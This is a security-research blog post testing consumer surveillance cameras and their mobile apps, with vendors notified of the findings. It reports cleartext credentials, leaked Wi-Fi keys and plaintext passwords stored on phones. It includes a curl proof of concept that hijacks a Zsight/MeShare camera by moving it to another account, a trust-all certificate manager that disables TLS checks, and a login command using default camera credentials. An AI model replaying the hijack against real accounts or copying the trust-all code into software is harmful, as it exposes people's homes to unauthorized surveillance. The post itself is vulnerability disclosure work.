Insecurity Cameras and Mobile Apps: Surveillance or Exposure?
Posted by Jake Van Dyke NowSecure Marketing
Introduction
When it comes to securing homes and organizationes, video cameras have proven themselves time and time again. One feature we see with current video recording systems is that they all seem to be allowing the user to connect remotely and view live or recorded video on a mobile device. Recently, I had the opportunity to spend a week with several camera systems available on Amazon and eBay. I focused mainly on the mobile apps and how the systems communicated with them. Every camera-and-app combination I tested included at least one security flaw that concerned me. Camera vendors sell numerous models, and it wasn’t feasible for me to test them all. Instead, I chose to test what-seemed-to-be popular systems with favorable customer reviews. Because most of a camera vendor’s models use the same mobile app, any issue I discovered in one combination likely applies to the manufacturer’s other cameras.
Vimtag Fujikam 361 HD
The Vimtag Fujikam 361 HD is a single stand-alone wireless or wired unit with audio. I selected this camera because at the time it was the number one best seller in Amazon’s “Surveillance & Security Cameras” category. The mobile applications for Android and iOS are called simply “Vimtag’. The first screen asks the user to create an account with name and password. The app talks to its backend server while doing this all over plaintext. The username and hashed password are sent off in http GET parameters.
http://209.133.212.170:7080/ccm/cacs_reg_req.js?hfrom_handle=7&dlid=0x1f5024&duser=catdog72& dpass=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&dparam__x_countz_=1&dparam=1&dparam_name=appid&dparam_value=com.vimtag.vimtaga
After further testing, I found that most of the communication between the app and the back-end occurred in cleartext (no HTTPS). Actions that used unencrypted communications included registering a camera to my account, adjusting settings, formatting the SD card, accessing stored audio or video, and initiating the recording of audio or video. When I went to view the network settings, their backend server sent to my device a list of SSIDs for all the wireless networks in the camera’s proximity. A team of researchers found that using only SSID, they could locate a device within 13-to-40 meters. The server also sent the WPA2 key for the network to which it was connected meaning that not only is the key visible to any attacker, it’s stored on the server and easily recoverable. This means an attacker could use SSID to locate a house using the camera, sit on the curb in front, and connect to the network. Examining the application’s data directory in the Android phone, I found a couple of XML files which contained the username and password in plain text. The app uses the data from these files populate the log-in fields when you first start it up. Anyone with physical access to your unlocked phone with Vimtag installed can gather the username and password from the app’s first screen. With this login info, an attacker can control or view anything accessible by the app.
Zmodo PKD-DK4216
The Zmodo PKD-DK4216 system is similar to a traditional CCTV setup consisting of four video cameras and a hardware appliance with hook-ups for the cameras, a monitor, a mouse, and wired Internet. Zmodo sells many different video surveillance systems. Amazon listings for the various systems include screenshots of the Zsight app (e.g., Android and iOS), or the MeShare app (e.g., Android and iOS). The listing for the PKD-DK4216 features photos of the Zsight app and MeShare website. When you launch the Zsight app, the first screen asks you to either create an account or log-in to an existing account. Sadly, regardless of your choice the app will send your username in plaintext and MD5-hased password to http://openapi.meshare.com. The Zsight app for iOS sent the username and password as GET parameters meaning the credentials are recoverable from server access logs. Upon successful log in, MeShare’s back-end server returns a token for app authentication on subsequent requests. As far as an attacker is concerned, the password, it’s MD5 hash, or the token all grant access to the victim’s account (i.e., any of these items are equal to a valid login). Once logged in, the application communicates in the clear via http://openapi.meshare.com to associate the camera system with the account. What else can you do with a valid Zsight/MeShare log-in?
- Get the list of cameras associated with the account
- Disassociate the camera with that account
- View recordings
- Take pictures
- Presumably listen to or initiate audio recordings (my cameras don’t have audio, so I can’t be sure)
- Access the account on the MeShare website (because the Zsight and MeShare log-ins are the same)
- Fiddle with notification settings
Zsight/MeShare only allows a particular camera system to be registered with one account. The following proof-of-concept code shows how to acquire an access token for an account. An attacker can then use that token to log in, dissociate the camera from the target account, and then associate the camera with the attacker’s own account. Then again, the effort may be unnecessary because if you’re capable of accessing the token, you can simply log in to the account through the website.
export DEV_ID=25FN35RD0019D8B export USERNAME='[email protected]' export PASS=m0nic@ # if we know the actual password, get the md5 first. otherwise, just stick the hash in curl -s -X POST --data-urlencode "username=$USERNAME" --data-urlencode "password=$(echo -n $PASS | md5sum | awk '{print $1}')" --data "usertype=1" --data "clienttype=0" http://openapi.meshare.com/user/usrlogin | jq . { "img_address": "uimage.meshare.com", "timezone_version": "V2.0.0.2", "stun_port": "8088", "result": "ok", "data": { "photo_url": "", "about": "", "id": "123456", "username": "bclinton", "password": "62360fa2b626ff01ef341814f74b7074", "email": "[email protected]", "user_type": "0", "nickname": "bclinton", "photoid": "", "gender": "0" }, "addition": "1ni8t8fr914orgs5h8scbvspl3", "sip_address": "192.241.59.218", "port": "8088", "access_address": "192.241.59.218", "access_port": "8989", "stun_address": "192.241.59.218" } # this "addition" is the token # delete the camera from account 1 curl -H 'Content-Type: application/x-www-form-urlencoded' --data-binary "tokenid=1ni8t8fr914orgs5h8scbvspl3&id=${DEV_ID}" 'http://openapi.meshare.com/device/devdel' # add the device to account 2 (use a token generated from username/password from account 2) curl -H 'Content-Type: application/x-www-form-urlencoded' --data-binary "tokenid=5doa3alk9iqbeotfbket0gdor4&physical_id=${DEV_ID}&device_name=i_own_this_system&device_scene=1&device_description=${DEV_ID}&time_zone=America%2FNew_York" 'http://openapi.meshare.com/device/devadd'
When I inspected communications between the PKD-DK4216 system and the back-end, I found that it automatically uploads JPEG snapshots from each of the four cameras in a POST to http://openapi.meshare.com/factorydevice/picture_report with the file name “cover.jpg.” I suspect these images are used as previews or avatars for each individual camera on the website and in the app. Similar to the Vimtag app, I also found the Zsight app leaving sensitive data lying around in XML files. The app’s XML files included the user ID, username, password (also unencrypted), email address, and a valid token. At least Zsight didn’t automatically populate the password on the log-in screen like the Vimtag app. So there’s that. I found that the MeShare website is configured to accept HTTPS with a wildcard certificate, so a quick fix for these apps would be to access backend via HTTPS.
LaView LV-KDV0804B6S
The LaView LV-KDV0804B6S model is another multi-camera system with a wired Internet connection. When you turn the system on, it displays a QR code that leads to the Google Play listing for Laview Live. The default credentials for this system are username admin and password 123456. Upon configuring the app to talk to the system and spying on the network traffic, I found the username and password displayed in some binary packets.
public class FakeX509TrustManager implements X509TrustManager { private static final X509Certificate[] _AcceptedIssuers; private static TrustManager[] trustManagers; static { FakeX509TrustManager._AcceptedIssuers = new X509Certificate[0]; } public FakeX509TrustManager() { super(); } public static void allowAllSSL() { SSLContext v0; HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { public boolean verify(String hostname, SSLSession session) { return 1; } }); if(FakeX509TrustManager.trustManagers == null) { FakeX509TrustManager.trustManagers = new TrustManager[]{new FakeX509TrustManager()}; } try { v0 = SSLContext.getInstance("TLS"); v0.init(null, FakeX509TrustManager.trustManagers, new SecureRandom()); } catch(KeyManagementException v2) { v2.printStackTrace(); } catch(NoSuchAlgorithmException v2_1) { v2_1.printStackTrace(); } if(v0 != null) { SSLSocketFactory v1 = v0.getSocketFactory(); if(v1 != null) { HttpsURLConnection.setDefaultSSLSocketFactory(v1); } } } public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { } public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { } public X509Certificate[] getAcceptedIssuers() { return FakeX509TrustManager._AcceptedIssuers; } public boolean isClientTrusted(X509Certificate[] chain) { return 1; } public boolean isServerTrusted(X509Certificate[] chain) { return 1; } }
The iOS version of the app accessed https://i.ezviz7.com/api/user/login without destroying https validation.
Best Vision Systems SK-DVR-DIY
The Best Vision Systems SK-DVR-DIY is another multi-camera system that connects to a monitor and wired Internet. The mobile app they recommend is called QMEye (Android / iOS). Upon the execution of QMEye, the user is directed to create or log in to an existing account. The registration screen asks for a username, password, email, name, and phone number. As soon as you click the “register” button, a network request is fired off with a binary blob which contains pretty much all of the info you just entered, easily visible. The password is not visible; in its place is an encrypted string.
What about IP cameras?
There is a whole world of camera devices known as IP cameras, which are essentially cameras connected directly to the network. They may have features like audio, color, night vision, and controls for panning and zooming. IP cameras generally have a web interface to configure settings. They very often have support for a username and password and default log-in credentials built into the firmware. In the Foscam and D-Link models I have on hand, the authentication is handled by base64 encoding the username and password and sending it in as an HTTP header.
# try accessing the webui $ curl http://192.168.2.33
Error: Authorization Required
Authentication was requested
# it wanted a name and password # default for this D-Link camera is admin with no password $ export NAME=admin $ export PASSWORD= # send these in as a header $ curl -H "Authorization: Basic $(echo -n $NAME:$PASSWORD | base64)" http://192.168.2.33 <script language="Javascript" SRC="function.js?cidx=2.002014-05-27"></script> <script language="Javascript"> <!-- mode = 0; if (mode == 1) location.href="aview.htm"; else { if (mode == 2) location.href="jview.htm"; else location.href="top.htm"; } // --> </script>
IP Cameras do not generally support HTTPS. So anything done in the web UI is not protected while in transit. It is trivial for a network attacker to retrieve the credentials. In fact, when using the IP Camera Viewer application to talk to a Foscam IP camera, the app inserted the username and password three times in a single HTTP request. This is presumably for compatibility purposes so that the app can support many different camera models. They just send a shotgun blast of the password and hope one of them takes. This generally isn’t a big concern if the IP camera is only accessible on your local home or small office network. If you do expose an IP camera to the Internet, proxying through an Apache or NGINX web server to compensate for the missing HTTPS can help keep untrusted users from accessing your credentials.
Conclusion
I wasn’t impressed by the security of any app I examined as part of this project. Each app relies on a username and password for authentication, but none of them go out of their way to protect that information. The purpose of these cameras and apps is to help keep your family and property safe. Unfortunately, when developers make careless mistakes like this, a camera can be turned into a tool to be used against you – exposing you to surveillance by third parties. Who knows who might be watching and listening?
Note: NowSecure notified the developers of the apps mentioned in this article, per our disclosure policy.